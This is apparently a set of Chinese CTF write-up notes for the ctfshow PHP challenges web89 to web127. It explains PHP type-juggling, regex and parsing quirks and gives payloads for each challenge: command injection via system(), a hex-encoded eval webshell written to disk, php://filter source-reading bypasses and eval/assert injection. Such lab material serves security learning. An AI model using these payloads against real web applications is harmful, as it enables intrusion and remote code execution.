web89
intval():成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
preg_match传数组返回为false
payload:?num[]=a
web90
?num=0x117c
web91
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
正则表达式中的 $与^
apache这次解析漏洞的根本原因就是这个 $,正则表达式中,我们都知道$用来匹配字符串结尾位置,我们来看看菜鸟教程中对正则表达符$的解释:
匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 \$。
那么就明白了,在设置了 RegExp 对象的 Multiline 属性的条件下,$还会匹配到字符串结尾的换行符
匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,
payload:%0aphp
web92
payload:?num=0x117c
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
web93
payload:?num=010574
web94
payload:?num=4476.0
web95
payload:?num=%20010574
web96
?u=php://filter/read=convert.base64-encode/resource=flag.php
?u=./flag.php
web97
a[]=1&b[]=2
web98
get:a=1
post:HTTP_FLAG=flag
web99
get:n=1.php
post:content=<?php eva($_POST[a]);?>
web100
<?php
$a=true and false and false;
var_dump($a); 返回true
$a=true && false && false;
var_dump($a); 返回false
?v1=1&v2=system("tac%20ctfshow.php")/*&v3=*/;
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;
v1=1&v2=echo&v3=;system('ls');
web101
反射修饰类
?v1=1&v2=echo%20new%20Reflectionclass&v3=;
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
demo from 羽
web102
var_dump(is_numeric("0x66")); php5的环境下返回true php7返回false
1.之后我们传入一个16进制编码后的shell,经过substr后0x被去掉,这回在调用hex2bin写入1.php
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
2
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
本题用的是php7的版本,所以得找个经过16进制以后都是数字或者base64再16进制的都是数字的字符(有e也可以会被is_number当做科学计数法)
直接用题给的现成的了
web103
直接102的payload就好,正好有层base64的过滤
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
web104
get:v2[]=1
post:v1[]=1
web105
变量覆盖
$a=$flag;
$error=$a;
web106
get:v2[]=2
post:v1=1
web107
v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b
web108
1、ereg()用途
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
2、strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)
3、ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
4、ereg()只能处理字符串的,遇到数组做参数返回NULL,判断用的是 === ,要求类型也相同,而NULL跟FALSE类型是不同的,strpos()的参数同样不能为数组,否则返回NULL,而判断用的是 !== ,所以这里的条件成立,也能得到flag
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。
?c=a%00778
web109
找两个可以调用这些方法函数的内置类
?v1=ReflectionClass&v2=system('cat fl36dg.txt')
?v1=Exception&v2=system('cat fl36dg.txt')
web110
php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesy
stemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录
payload: ?v1=FilesystemIterator&v2=getcwd
有个缺陷,如果flag所在的文件不是排在第一位的话,我们可能就没有办法得到flag
web111
?v1=ctfshowaa&v2=GLOBALS
web112
这里对php://filter伪协议的加密过程进行了过滤,但是使用伪协议的过滤器时会先进行一次url编码,所以这里可以用二次编码绕过过滤
php://filter/read=convert.%2562ase64-encode/resource=flag.php
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web113
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
/proc/self/root指向根目录的,>21次以后会逃逸出is_file()函数
web123
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM
POST : CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
``
<?php
$a=$_SERVER['argv'];
var_dump($a);
传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
payload:
get: $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
web125
GET:?1=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
web127
?ctf%20show=ilove36d